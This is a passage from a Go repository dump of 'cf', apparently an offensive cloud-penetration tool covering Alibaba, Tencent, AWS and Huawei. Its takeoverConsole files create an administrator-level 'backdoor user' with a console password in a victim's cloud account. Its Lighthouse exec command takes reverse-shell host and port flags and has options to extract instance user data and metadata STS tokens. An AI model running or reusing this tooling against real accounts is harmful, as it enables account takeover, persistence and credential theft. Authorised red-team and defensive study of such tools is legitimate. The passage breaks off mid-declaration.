| package huaweiobs 2 | 3 | import ( 4 | "github.com/AlecAivazis/survey/v2" 5 | "github.com/huaweicloud/huaweicloud-sdk-go-obs/obs" 6 | log "github.com/sirupsen/logrus" 7 | "github.com/teamssix/cf/pkg/util/errutil" 8 | "strconv" 9 | ) 10 | 11 | var ( 12 | objectsKey []string 13 | objectsSize []int64 14 | ) 15 | 16 | func ListObjects(bucket string, region string, obsLsObjectNumber string, NextMarker string) { 17 | var ( 18 | obsLsObjectNumberInt int 19 | MaxKeys int 20 | err error 21 | IsTruncated bool 22 | input *obs.ListObjectsInput 23 | ) 24 | if obsLsObjectNumber != "all" { 25 | obsLsObjectNumberInt, err = strconv.Atoi(obsLsObjectNumber) 26 | errutil.HandleErr(err) 27 | } 28 | if obsLsObjectNumberInt == 0 || obsLsObjectNumberInt > 1000 { 29 | MaxKeys = 1000 30 | } else { 31 | MaxKeys = obsLsObjectNumberInt 32 | } 33 | if NextMarker == "" { 34 | input = &obs.ListObjectsInput{ 35 | Bucket: bucket, 36 | ListObjsInput: obs.ListObjsInput{ 37 | MaxKeys: MaxKeys, 38 | }, 39 | } 40 | } else { 41 | input = &obs.ListObjectsInput{ 42 | Bucket: bucket, 43 | Marker: NextMarker, 44 | ListObjsInput: obs.ListObjsInput{ 45 | MaxKeys: MaxKeys, 46 | }, 47 | } 48 | } 49 | result, err := obsClient("all").ListObjects(input) 50 | errutil.HandleErr(err) 51 | IsTruncated = result.IsTruncated 52 | for _, v := range result.Contents { 53 | objectsKey = append(objectsKey, v.Key) 54 | objectsSize = append(objectsSize, v.Size) 55 | } 56 | objectNum := len(objectsKey) 57 | if objectNum%10000 == 0 && objectNum != 0 { 58 | log.Infof("当前已获取到 %d 条数据 (%d pieces of data have been obtained)", objectNum, objectNum) 59 | } 60 | if objectNum == 100000 { 61 | var name bool 62 | prompt := &survey.Confirm{ 63 | Message: "已查询到 10w 条对象,是否继续?如果继续可能会耗费较长时间。(Found up to 100,000 objects, want to continue? If you continue, it may take a long time)", 64 | Default: true, 65 | } 66 | _ = survey.AskOne(prompt, &name) 67 | if !name { 68 | IsTruncated = false 69 | log.Infoln("已停止继续查询对象,您还可以通过 -n 参数指定您想要查询对象的数量。(Has stopped continuing to query objects. You can specify the number of objects to query with the -n parameter.)") 70 | } 71 | } 72 | if obsLsObjectNumber != "all" { 73 | obsLsObjectNumberInt, err = strconv.Atoi(obsLsObjectNumber) 74 | errutil.HandleErr(err) 75 | obsLsObjectNumberInt := int(obsLsObjectNumberInt) 76 | if obsLsObjectNumberInt >= objectNum { 77 | IsTruncated = false 78 | objectNum = obsLsObjectNumberInt 79 | objectsKey = objectsKey[0:objectNum] 80 | objectsSize = objectsSize[0:objectNum] 81 | } 82 | } 83 | if IsTruncated { 84 | ListObjects(bucket, region, obsLsObjectNumber, result.NextMarker) 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /pkg/cloud/aws/awss3/s3lsobject.go: -------------------------------------------------------------------------------- 1 | package awss3 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/AlecAivazis/survey/v2" 7 | log "github.com/sirupsen/logrus" 8 | 9 | "github.com/aws/aws-sdk-go/aws" 10 | "github.com/aws/aws-sdk-go/service/s3" 11 | "github.com/teamssix/cf/pkg/util/errutil" 12 | ) 13 | 14 | var ( 15 | objectsKey []string 16 | objectsSize []int64 17 | ) 18 | 19 | func ListObjectsV2(bucket string, region string, s3LsObjectNumber string, NextContinuationToken string) { 20 | var ( 21 | s3LsObjectNumberInt64 int64 22 | MaxKeys int64 23 | err error 24 | IsTruncated bool 25 | input *s3.ListObjectsV2Input 26 | ) 27 | if s3LsObjectNumber != "all" { 28 | s3LsObjectNumberInt64, err = strconv.ParseInt(s3LsObjectNumber, 10, 64) 29 | errutil.HandleErr(err) 30 | } 31 | if s3LsObjectNumberInt64 == 0 || s3LsObjectNumberInt64 > 1000 { 32 | MaxKeys = 1000 33 | } else { 34 | MaxKeys = s3LsObjectNumberInt64 35 | } 36 | if NextContinuationToken == "" { 37 | input = &s3.ListObjectsV2Input{ 38 | Bucket: aws.String(bucket), 39 | MaxKeys: aws.Int64(MaxKeys), 40 | } 41 | } else { 42 | input = &s3.ListObjectsV2Input{ 43 | Bucket: aws.String(bucket), 44 | MaxKeys: aws.Int64(MaxKeys), 45 | ContinuationToken: aws.String(NextContinuationToken), 46 | } 47 | } 48 | svc := S3Client(region) 49 | result, err := svc.ListObjectsV2(input) 50 | IsTruncated = *result.IsTruncated 51 | errutil.HandleErr(err) 52 | for _, v := range result.Contents { 53 | objectsKey = append(objectsKey, *v.Key) 54 | objectsSize = append(objectsSize, *v.Size) 55 | } 56 | objectNum := len(objectsKey) 57 | if objectNum%10000 == 0 && objectNum != 0 { 58 | log.Infof("当前已获取到 %d 条数据 (%d pieces of data have been obtained)", objectNum, objectNum) 59 | } 60 | if objectNum == 100000 { 61 | var name bool 62 | prompt := &survey.Confirm{ 63 | Message: "已查询到 10w 条对象,是否继续?如果继续可能会耗费较长时间。(Found up to 100,000 objects, want to continue? If you continue, it may take a long time)", 64 | Default: true, 65 | } 66 | _ = survey.AskOne(prompt, &name) 67 | if !name { 68 | IsTruncated = false 69 | log.Infoln("已停止继续查询对象,您还可以通过 -n 参数指定您想要查询对象的数量。(Has stopped continuing to query objects. You can specify the number of objects to query with the -n parameter.)") 70 | } 71 | } 72 | if s3LsObjectNumber != "all" { 73 | s3LsObjectNumberInt64, err = strconv.ParseInt(s3LsObjectNumber, 10, 64) 74 | errutil.HandleErr(err) 75 | s3LsObjectNumberInt := int(s3LsObjectNumberInt64) 76 | if s3LsObjectNumberInt >= objectNum { 77 | IsTruncated = false 78 | objectNum = s3LsObjectNumberInt 79 | objectsKey = objectsKey[0:objectNum] 80 | objectsSize = objectsSize[0:objectNum] 81 | } 82 | } 83 | if IsTruncated { 84 | ListObjectsV2(bucket, region, s3LsObjectNumber, *result.NextContinuationToken) 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /pkg/cloud/tencent/tencentlh/client.go: -------------------------------------------------------------------------------- 1 | package tencentlh 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/teamssix/cf/pkg/util/cmdutil" 6 | "github.com/teamssix/cf/pkg/util/errutil" 7 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 8 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/profile" 9 | lh "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/lighthouse/v20200324" 10 | tat "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/tat/v20201028" 11 | "os" 12 | ) 13 | 14 | func LHClient(region string) *lh.Client { 15 | tencentConfig := cmdutil.GetConfig("tencent") 16 | if tencentConfig.AccessKeyId == "" { 17 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 18 | os.Exit(0) 19 | return nil 20 | } else { 21 | cpf := profile.NewClientProfile() 22 | cpf.HttpProfile.Endpoint = "lighthouse.tencentcloudapi.com" 23 | if tencentConfig.STSToken == "" { 24 | credential := common.NewCredential(tencentConfig.AccessKeyId, tencentConfig.AccessKeySecret) 25 | client, err := lh.NewClient(credential, region, cpf) 26 | errutil.HandleErr(err) 27 | if err == nil { 28 | log.Traceln("LH Client 连接成功 (LH Client connection successful)") 29 | } 30 | return client 31 | } else { 32 | credential := common.NewTokenCredential(tencentConfig.AccessKeyId, tencentConfig.AccessKeySecret, tencentConfig.STSToken) 33 | client, err := lh.NewClient(credential, region, cpf) 34 | errutil.HandleErr(err) 35 | if err == nil { 36 | log.Traceln("LH Client 连接成功 (LH Client connection successful)") 37 | } 38 | return client 39 | } 40 | } 41 | } 42 | 43 | func GetLHRegions() []*lh.RegionInfo { 44 | client := LHClient("ap-guangzhou") 45 | request := lh.NewDescribeRegionsRequest() 46 | response, err := client.DescribeRegions(request) 47 | errutil.HandleErr(err) 48 | return response.Response.RegionSet 49 | } 50 | 51 | func TATClient(region string) *tat.Client { 52 | tencentconfig := cmdutil.GetConfig("tencent") 53 | if tencentconfig.AccessKeyId == "" { 54 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 55 | os.Exit(0) 56 | return nil 57 | } else { 58 | cpf := profile.NewClientProfile() 59 | cpf.HttpProfile.Endpoint = "tat.tencentcloudapi.com" 60 | if tencentconfig.STSToken == "" { 61 | credential := common.NewCredential(tencentconfig.AccessKeyId, tencentconfig.AccessKeySecret) 62 | client, err := tat.NewClient(credential, region, cpf) 63 | errutil.HandleErr(err) 64 | if err == nil { 65 | log.Traceln("TAT Client 连接成功 (CVM Client connection successful)") 66 | } 67 | return client 68 | } else { 69 | credential := common.NewTokenCredential(tencentconfig.AccessKeyId, tencentconfig.AccessKeyId, tencentconfig.STSToken) 70 | client, err := tat.NewClient(credential, region, cpf) 71 | errutil.HandleErr(err) 72 | if err == nil { 73 | log.Traceln("TAT Client 连接成功 (CVM Client connection successful)") 74 | } 75 | return client 76 | } 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /pkg/cloud/tencent/tencentcvm/client.go: -------------------------------------------------------------------------------- 1 | package tencentcvm 2 | 3 | import ( 4 | "github.com/teamssix/cf/pkg/util/errutil" 5 | "os" 6 | 7 | log "github.com/sirupsen/logrus" 8 | "github.com/teamssix/cf/pkg/util/cmdutil" 9 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 10 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/profile" 11 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/regions" 12 | cvm "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cvm/v20170312" 13 | tat "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/tat/v20201028" 14 | ) 15 | 16 | func CVMClient(region string) *cvm.Client { 17 | tencentconfig := cmdutil.GetConfig("tencent") 18 | if tencentconfig.AccessKeyId == "" { 19 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 20 | os.Exit(0) 21 | return nil 22 | } else { 23 | cpf := profile.NewClientProfile() 24 | cpf.HttpProfile.Endpoint = "cvm.tencentcloudapi.com" 25 | if tencentconfig.STSToken == "" { 26 | credential := common.NewCredential(tencentconfig.AccessKeyId, tencentconfig.AccessKeySecret) 27 | client, err := cvm.NewClient(credential, region, cpf) 28 | errutil.HandleErr(err) 29 | if err == nil { 30 | log.Traceln("CVM Client 连接成功 (CVM Client connection successful)") 31 | } 32 | return client 33 | } else { 34 | credential := common.NewTokenCredential(tencentconfig.AccessKeyId, tencentconfig.AccessKeySecret, tencentconfig.STSToken) 35 | client, err := cvm.NewClient(credential, region, cpf) 36 | errutil.HandleErr(err) 37 | if err == nil { 38 | log.Traceln("CVM Client 连接成功 (CVM Client connection successful)") 39 | } 40 | return client 41 | } 42 | } 43 | } 44 | 45 | func TATClient(region string) *tat.Client { 46 | tencentconfig := cmdutil.GetConfig("tencent") 47 | if tencentconfig.AccessKeyId == "" { 48 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 49 | os.Exit(0) 50 | return nil 51 | } else { 52 | cpf := profile.NewClientProfile() 53 | cpf.HttpProfile.Endpoint = "tat.tencentcloudapi.com" 54 | if tencentconfig.STSToken == "" { 55 | credential := common.NewCredential(tencentconfig.AccessKeyId, tencentconfig.AccessKeySecret) 56 | client, err := tat.NewClient(credential, region, cpf) 57 | errutil.HandleErr(err) 58 | if err == nil { 59 | log.Traceln("TAT Client 连接成功 (CVM Client connection successful)") 60 | } 61 | return client 62 | } else { 63 | credential := common.NewTokenCredential(tencentconfig.AccessKeyId, tencentconfig.AccessKeySecret, tencentconfig.STSToken) 64 | client, err := tat.NewClient(credential, region, cpf) 65 | errutil.HandleErr(err) 66 | if err == nil { 67 | log.Traceln("TAT Client 连接成功 (CVM Client connection successful)") 68 | } 69 | return client 70 | } 71 | } 72 | } 73 | 74 | func GetCVMRegions() []*cvm.RegionInfo { 75 | client := CVMClient(regions.Nanjing) 76 | request := cvm.NewDescribeRegionsRequest() 77 | request.SetScheme("https") 78 | response, err := client.DescribeRegions(request) 79 | errutil.HandleErr(err) 80 | return response.Response.RegionSet 81 | } 82 | -------------------------------------------------------------------------------- /pkg/cloud/alibaba/aliconsole/takeoverConsole.go: -------------------------------------------------------------------------------- 1 | package aliconsole 2 | 3 | import ( 4 | "fmt" 5 | "github.com/aliyun/alibaba-cloud-sdk-go/services/ram" 6 | log "github.com/sirupsen/logrus" 7 | "github.com/teamssix/cf/pkg/cloud" 8 | "github.com/teamssix/cf/pkg/cloud/alibaba/aliram" 9 | "github.com/teamssix/cf/pkg/util" 10 | "github.com/teamssix/cf/pkg/util/database" 11 | "github.com/teamssix/cf/pkg/util/errutil" 12 | "os" 13 | "strings" 14 | ) 15 | 16 | func CreateUser(userName string) { 17 | request := ram.CreateCreateUserRequest() 18 | request.Scheme = "https" 19 | request.UserName = userName 20 | _, err := aliram.RAMClient().CreateUser(request) 21 | errutil.HandleErrNoExit(err) 22 | if err == nil { 23 | log.Debugf("创建 %s 用户成功 (Create %s user successfully)", userName, userName) 24 | } else { 25 | if strings.Contains(err.Error(), "EntityAlreadyExists.User") { 26 | log.Warnf("%s 用户已存在,无法接管,请指定其他的用户名 (%s user already exists and cannot take over, please specify another user name.)", userName, userName) 27 | os.Exit(0) 28 | } 29 | } 30 | } 31 | 32 | func CreateLoginProfile(userName string, password string) { 33 | request := ram.CreateCreateLoginProfileRequest() 34 | request.Scheme = "https" 35 | request.UserName = userName 36 | request.Password = password 37 | _, err := aliram.RAMClient().CreateLoginProfile(request) 38 | errutil.HandleErrNoExit(err) 39 | if err == nil { 40 | log.Debugln("成功创建控制台登录密码 (Successfully created console login password)") 41 | } 42 | } 43 | 44 | func AttachPolicyToUser(userName string) { 45 | request := ram.CreateAttachPolicyToUserRequest() 46 | request.Scheme = "https" 47 | request.PolicyType = "System" 48 | request.PolicyName = "AdministratorAccess" 49 | request.UserName = userName 50 | _, err := aliram.RAMClient().AttachPolicyToUser(request) 51 | errutil.HandleErrNoExit(err) 52 | if err == nil { 53 | log.Debugf("成功为 %s 用户赋予管理员权限 (Successfully grant AdministratorAccess policy to the %s user)", userName, userName) 54 | } 55 | } 56 | 57 | func GetAccountAlias() string { 58 | request := ram.CreateGetAccountAliasRequest() 59 | request.Scheme = "https" 60 | response, err := aliram.RAMClient().GetAccountAlias(request) 61 | errutil.HandleErrNoExit(err) 62 | accountAlias := response.AccountAlias 63 | return accountAlias 64 | } 65 | 66 | func TakeoverConsole(userName string) { 67 | CreateUser(userName) 68 | password := util.GenerateRandomPasswords() 69 | CreateLoginProfile(userName, password) 70 | AttachPolicyToUser(userName) 71 | accountAlias := GetAccountAlias() 72 | consoleUserName := fmt.Sprintf("%s@%s", userName, accountAlias) 73 | loginURL := "https://signin.aliyun.com" 74 | data := [][]string{ 75 | {consoleUserName, password, loginURL}, 76 | } 77 | database.InsertTakeoverConsoleCache("alibaba", accountAlias, consoleUserName, password, loginURL) 78 | var header = []string{"用户名 (User Name)", "密码 (Password)", "控制台登录地址 (Login Url)"} 79 | var td = cloud.TableData{Header: header, Body: data} 80 | cloud.PrintTable(td, "") 81 | log.Infof("接管控制台成功,接管控制台会创建 %s 后门用户,如果想删除该后门用户,请执行 cf alibaba console cancel 命令。(Successfully take over the console. Since taking over the console creates the backdoor user crossfire, if you want to delete the backdoor user, execute the command cf alibaba console cancel.)", userName) 82 | } 83 | -------------------------------------------------------------------------------- /pkg/cloud/tencent/tencentconsole/takeoverConsole.go: -------------------------------------------------------------------------------- 1 | package tencentconsole 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/teamssix/cf/pkg/cloud" 6 | "github.com/teamssix/cf/pkg/cloud/tencent/tencentcam" 7 | "github.com/teamssix/cf/pkg/util" 8 | "github.com/teamssix/cf/pkg/util/database" 9 | "github.com/teamssix/cf/pkg/util/errutil" 10 | cam "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cam/v20190116" 11 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 12 | "os" 13 | "strings" 14 | ) 15 | 16 | func CreateUser(userName string, password string) { 17 | request := cam.NewAddUserRequest() 18 | request.Name = common.StringPtr(userName) 19 | request.ConsoleLogin = common.Uint64Ptr(1) 20 | request.Password = common.StringPtr(password) 21 | request.NeedResetPassword = common.Uint64Ptr(0) 22 | _, err := tencentcam.CAMClient().AddUser(request) 23 | errutil.HandleErrNoExit(err) 24 | if err == nil { 25 | log.Debugf("创建 %s 用户成功 (Create %s user successfully)", userName, userName) 26 | } else { 27 | if strings.Contains(err.Error(), "The name already exists") { 28 | log.Warnf("%s 用户已存在,无法接管,请指定其他的用户名 (%s user already exists and cannot take over, please specify another user name.)", userName, userName) 29 | os.Exit(0) 30 | } 31 | } 32 | } 33 | 34 | func GetUserUin(userName string) uint64 { 35 | request := cam.NewGetUserRequest() 36 | request.Name = common.StringPtr(userName) 37 | response, err := tencentcam.CAMClient().GetUser(request) 38 | errutil.HandleErrNoExit(err) 39 | if err == nil { 40 | log.Debugf("获取 %s 用户 UIN (Get %s user Uin successfully)", userName, userName) 41 | } 42 | return *response.Response.Uin 43 | } 44 | 45 | func AttachPolicyToUser(userName string) { 46 | UserUin := GetUserUin(userName) 47 | request := cam.NewAttachUserPolicyRequest() 48 | request.PolicyId = common.Uint64Ptr(1) 49 | request.AttachUin = common.Uint64Ptr(UserUin) 50 | _, err := tencentcam.CAMClient().AttachUserPolicy(request) 51 | errutil.HandleErrNoExit(err) 52 | if err == nil { 53 | log.Debugf("成功为 %s 用户赋予管理员权限 (Successfully grant AdministratorAccess policy to the %s user)", userName, userName) 54 | } 55 | } 56 | 57 | func GetOwnerUin() string { 58 | request := cam.NewGetUserAppIdRequest() 59 | response, err := tencentcam.CAMClient().GetUserAppId(request) 60 | errutil.HandleErrNoExit(err) 61 | OwnerUin := response.Response.OwnerUin 62 | return *OwnerUin 63 | } 64 | 65 | func TakeoverConsole(userName string) { 66 | password := util.GenerateRandomPasswords() 67 | CreateUser(userName, password) 68 | AttachPolicyToUser(userName) 69 | OwnerID := GetOwnerUin() 70 | loginURL := "https://cloud.tencent.com/login/subAccount" 71 | data := [][]string{ 72 | {OwnerID, userName, password, loginURL}, 73 | } 74 | database.InsertTakeoverConsoleCache("tencent", OwnerID, userName, password, loginURL) 75 | var header = []string{"主账号 ID (Primary Account ID)", "子用户名 (Sub User Name)", "登录密码 (Password)", "控制台登录地址 (Login URL)"} 76 | var td = cloud.TableData{Header: header, Body: data} 77 | cloud.PrintTable(td, "") 78 | log.Infof("接管控制台成功,接管控制台会创建 %s 后门用户,如果想删除该后门用户,请执行 cf tencent console cancel 命令。(Successfully take over the console. Since taking over the console creates the backdoor user crossfire, if you want to delete the backdoor user, execute the command cf tencent console cancel.)", userName) 79 | } 80 | -------------------------------------------------------------------------------- /pkg/cloud/alibaba/alioss/osslsobject.go: -------------------------------------------------------------------------------- 1 | package alioss 2 | 3 | import ( 4 | "bufio" 5 | "os" 6 | "path/filepath" 7 | "sort" 8 | "strconv" 9 | "time" 10 | 11 | "github.com/AlecAivazis/survey/v2" 12 | "github.com/teamssix/cf/pkg/cloud" 13 | "github.com/teamssix/cf/pkg/util/errutil" 14 | "github.com/teamssix/cf/pkg/util/pubutil" 15 | 16 | log "github.com/sirupsen/logrus" 17 | ) 18 | 19 | var ( 20 | objectsHeader = []string{"序号 (SN)", "名称 (Key)", "大小 (Size)", "上次修改时间 (LastModified)"} 21 | ) 22 | 23 | func PrintObjectsList(ossLsObjectNumber string, ossLsBucket string, ossLsRegion string) { 24 | buckets := ReturnBucketList(ossLsBucket, ossLsRegion) 25 | if len(buckets) == 0 { 26 | log.Info("没发现存储桶 (No Buckets Found)") 27 | } else { 28 | var bucketName string 29 | buckets = append(buckets, "exit") 30 | sort.Strings(buckets) 31 | prompt := &survey.Select{ 32 | Message: "选择一个存储桶 (Choose a bucket): ", 33 | Options: buckets, 34 | } 35 | err := survey.AskOne(prompt, &bucketName) 36 | errutil.HandleErr(err) 37 | if bucketName == "exit" { 38 | os.Exit(0) 39 | } else { 40 | OSSCollector := &OSSCollector{} 41 | objectsSum, objects := OSSCollector.ListObjects(bucketName, ossLsObjectNumber, ossLsRegion) 42 | objectSize := pubutil.FormatFileSize(objectsSum[0].ObjectSize) 43 | var objectsData = make([][]string, len(objects)) 44 | for i, o := range objects { 45 | objectsData[i] = []string{strconv.Itoa(i + 1), o.Key, pubutil.FormatFileSize(o.Size), o.LastModified} 46 | } 47 | if len(objectsData) == 0 { 48 | log.Info("没发现对象 (No Objects Found)") 49 | } else { 50 | log.Infof("对象合计大小 %s (Total object size %s)", objectSize, objectSize) 51 | if len(objectsData) > 100 { 52 | // 输出前 100 条结果 53 | objectsData100 := objectsData[0:100] 54 | printTd(objectsData100) 55 | objectsDataLen := strconv.Itoa(len(objectsData)) 56 | log.Warnf("当前存储桶中有 %s 个对象,为了更好的输出效果,CF 只会列出前 100 个对象。(There are currently %s objects in the bucket, for better output, CF will only list the first 100 objects.)", objectsDataLen, objectsDataLen) 57 | 58 | // 超过 100 时,将输出结果写入到文件中去 59 | home, _ := pubutil.GetCFHomeDir() 60 | cacheFolder := filepath.Join(home, "output") 61 | pubutil.CreateFolder(cacheFolder) 62 | cacheFileName := filepath.Join(cacheFolder, "ossObjectList-"+strconv.FormatInt(time.Now().Unix(), 10)+".csv") 63 | var cacheFileData []string 64 | cacheFileData = append(cacheFileData, "SN, Key, Size, LastModified\n") 65 | for _, v := range objectsData { 66 | cacheFileData = append(cacheFileData, v[0]+","+v[1]+","+v[2]+","+v[3]+"\n") 67 | } 68 | file, err := os.OpenFile(cacheFileName, os.O_WRONLY|os.O_CREATE, 0666) 69 | errutil.HandleErr(err) 70 | defer file.Close() 71 | w := bufio.NewWriter(file) 72 | for _, v := range cacheFileData { 73 | w.WriteString(v) 74 | } 75 | w.Flush() 76 | log.Infof("全部对象列表已保存到 %s 文件中,如果您想查看全部对象,可打开该文件进行查看。(The full list of objects has been saved to the %s file, so if you want to see all the objects, you can open this file to view them.)", cacheFileName, cacheFileName) 77 | } else { 78 | printTd(objectsData) 79 | } 80 | } 81 | } 82 | } 83 | } 84 | 85 | func printTd(objectsData [][]string) { 86 | var td = cloud.TableData{Header: objectsHeader, Body: objectsData} 87 | Caption := "对象资源 (Objects resources)" 88 | cloud.PrintTable(td, Caption) 89 | } 90 | -------------------------------------------------------------------------------- /cmd/tencent/lh.go: -------------------------------------------------------------------------------- 1 | package tencent 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/spf13/cobra" 6 | tencentlh2 "github.com/teamssix/cf/pkg/cloud/tencent/tencentlh" 7 | ) 8 | 9 | var ( 10 | lhFlushCache bool 11 | lhRegion string 12 | lhSpecifiedInstanceID string 13 | 14 | sshKeyName string 15 | deleteSshKey bool 16 | ) 17 | 18 | func init() { 19 | tencentCmd.AddCommand(lhCmd) 20 | lhCmd.AddCommand(lhLsCmd) 21 | lhCmd.AddCommand(lhExecCmd) 22 | lhCmd.PersistentFlags().BoolVar(&lhFlushCache, "flushCache", false, "刷新缓存,不使用缓存数据 (Refresh the cache without using cached data)") 23 | lhCmd.Flags().StringVarP(&lhSpecifiedInstanceID, "instanceID", "i", "all", "指定实例 ID (Specify Instance ID)") 24 | 25 | lhLsCmd.Flags().BoolVar(&running, "running", false, "只显示正在运行的实例 (Show only running instances)") 26 | lhLsCmd.Flags().StringVarP(&lhRegion, "region", "r", "all", "指定区域 ID (Specify Region ID)") 27 | lhExecCmd.Flags().StringVarP(&command, "command", "c", "", "设置待执行的命令 (Set the command you want to execute)") 28 | lhExecCmd.Flags().StringVarP(&commandFile, "file", "f", "", "设置待执行的命令文件 (Set the command file you want to execute)") 29 | lhExecCmd.Flags().StringVarP(&scriptType, "scriptType", "s", "auto", "设置执行脚本的类型 (Set the type of script to execute) [sh|bat|ps]") 30 | lhExecCmd.Flags().StringVar(&lhost, "lhost", "", "设置反弹 shell 的主机 IP (Set the ip of the listening host)") 31 | lhExecCmd.Flags().StringVar(&lport, "lport", "", "设置反弹 shell 的主机端口 (Set the port of the listening host") 32 | lhExecCmd.Flags().BoolVarP(&batchCommand, "batchCommand", "b", false, "一键执行三要素,方便 HW (Batch execution of multiple commands used to prove permission acquisition)") 33 | lhExecCmd.Flags().BoolVarP(&userData, "userData", "u", false, "一键获取实例中的用户数据 (Get the user data on the instance)") 34 | lhExecCmd.Flags().BoolVarP(&metaDataSTSToken, "metaDataSTSToken", "m", false, "一键获取实例元数据中的临时访问密钥 (Get the STS Token in the instance metadata)") 35 | lhExecCmd.Flags().IntVarP(&timeOut, "timeOut", "t", 60, "设置命令执行结果的等待时间 (Set the command execution result waiting time)") 36 | } 37 | 38 | var lhCmd = &cobra.Command{ 39 | Use: "lh", 40 | Short: "执行与轻量计算服务相关的操作 (Perform lh-related operations)", 41 | Long: "执行与轻量计算服务相关的操作 (Perform lh-related operations)", 42 | } 43 | 44 | var lhLsCmd = &cobra.Command{ 45 | Use: "ls", 46 | Short: "列出所有的实例 (List all instances)", 47 | Long: "列出所有的实例 (List all instances)", 48 | Run: func(cmd *cobra.Command, args []string) { 49 | tencentlh2.PrintInstancesList(lhRegion, running, lhSpecifiedInstanceID, lhFlushCache) 50 | }, 51 | } 52 | 53 | var lhExecCmd = &cobra.Command{ 54 | Use: "exec", 55 | Short: "在实例上执行命令 (Execute the command on the instance)", 56 | Long: "在实例上执行命令 (Execute the command on the instance)", 57 | Run: func(cmd *cobra.Command, args []string) { 58 | if lhost != "" && lport == "" { 59 | log.Warnln("未指定反弹 shell 的主机端口 (The port of the listening host is not set)") 60 | cmd.Help() 61 | } else if lhost == "" && lport != "" { 62 | log.Warnln("未指定反弹 shell 的主机 IP (The ip of the listening host is not set)") 63 | cmd.Help() 64 | } else if command == "" && batchCommand == false && userData == false && metaDataSTSToken == false && commandFile == "" && lhost == "" && lport == "" { 65 | log.Warnln("还未指定要执行的命令 (The command to be executed has not been specified yet)") 66 | cmd.Help() 67 | } else { 68 | tencentlh2.LhExec(command, commandFile, scriptType, lhSpecifiedInstanceID, lhRegion, batchCommand, userData, metaDataSTSToken, lhFlushCache, lhost, lport, timeOut) 69 | } 70 | }, 71 | } 72 | -------------------------------------------------------------------------------- /cmd/alibaba/oss.go: -------------------------------------------------------------------------------- 1 | package alibaba 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/spf13/cobra" 6 | "github.com/teamssix/cf/pkg/cloud/alibaba/alioss" 7 | ) 8 | 9 | var ( 10 | ossLsRegion string 11 | ossLsFlushCache bool 12 | ossLsBucket string 13 | ossDownloadBucket string 14 | ossDownloadObject string 15 | ossDownloadOutputPath string 16 | ossDownloadRegion string 17 | ossDownloadNumber string 18 | ossLsObjectNumber string 19 | ossLsObjectBucket string 20 | ossLsObjectRegion string 21 | ) 22 | 23 | func init() { 24 | alibabaCmd.AddCommand(ossCmd) 25 | ossCmd.AddCommand(ossLsCmd) 26 | ossCmd.AddCommand(ossObjCmd) 27 | ossLsCmd.Flags().StringVarP(&ossLsObjectNumber, "number", "n", "all", "指定列出对象的数量 (Specify the number of objects to list)") 28 | ossLsCmd.Flags().StringVarP(&ossLsRegion, "region", "r", "all", "指定区域 ID (Specify region ID)") 29 | ossLsCmd.Flags().StringVarP(&ossLsBucket, "bucket", "b", "all", "指定存储桶名称 (Specify bucket name)") 30 | ossLsCmd.Flags().BoolVar(&ossLsFlushCache, "flushCache", false, "刷新缓存,不使用缓存数据 (Refresh the cache without using cached data)") 31 | 32 | ossObjCmd.AddCommand(ossObjLsCmd) 33 | ossObjCmd.AddCommand(ossObjGetCmd) 34 | ossObjGetCmd.Flags().StringVarP(&ossDownloadBucket, "bucket", "b", "all", "指定存储桶名称 (Specify bucket name)") 35 | ossObjGetCmd.Flags().StringVarP(&ossDownloadObject, "objectKey", "k", "all", "指定对象 (Specify object key)") 36 | ossObjGetCmd.Flags().StringVarP(&ossDownloadOutputPath, "outputPath", "o", "./result", "指定导出路径 (Specify output path)") 37 | ossObjGetCmd.Flags().StringVarP(&ossDownloadRegion, "region", "r", "all", "指定区域 ID (Specify region ID)") 38 | ossObjGetCmd.Flags().StringVarP(&ossDownloadNumber, "number", "n", "all", "指定列出对象的数量 (Specify the number of objects to list)") 39 | 40 | ossObjLsCmd.Flags().StringVarP(&ossLsObjectNumber, "number", "n", "all", "指定列出对象的数量 (Specify the number of objects to list)") 41 | ossObjLsCmd.Flags().StringVarP(&ossLsObjectBucket, "bucket", "b", "all", "指定存储桶名称 (Specify bucket name)") 42 | ossObjLsCmd.Flags().StringVarP(&ossLsObjectRegion, "region", "r", "all", "指定区域 ID (Specify region ID)") 43 | } 44 | 45 | var ossCmd = &cobra.Command{ 46 | Use: "oss", 47 | Short: "执行与对象存储相关的操作 (Perform oss-related operations)", 48 | Long: "执行与对象存储相关的操作 (Perform oss-related operations)", 49 | } 50 | 51 | var ossLsCmd = &cobra.Command{ 52 | Use: "ls", 53 | Short: "列出所有的存储桶 (List all buckets)", 54 | Long: "列出所有的存储桶 (List all buckets)", 55 | Run: func(cmd *cobra.Command, args []string) { 56 | log.Debugf("ossLsRegion: %s, ossLsFlushCache: %v, ossLsObjectNumber: %s, ossLsBucket: %s", ossLsRegion, ossLsFlushCache, ossLsObjectNumber, ossLsBucket) 57 | alioss.PrintBucketsList(ossLsRegion, ossLsFlushCache, ossLsObjectNumber, ossLsBucket) 58 | }, 59 | } 60 | 61 | var ossObjCmd = &cobra.Command{ 62 | Use: "obj", 63 | Short: "执行与对象相关的操作 (Perform objects-related operations)", 64 | Long: "执行与对象相关的操作 (Perform objects-related operations)", 65 | } 66 | 67 | var 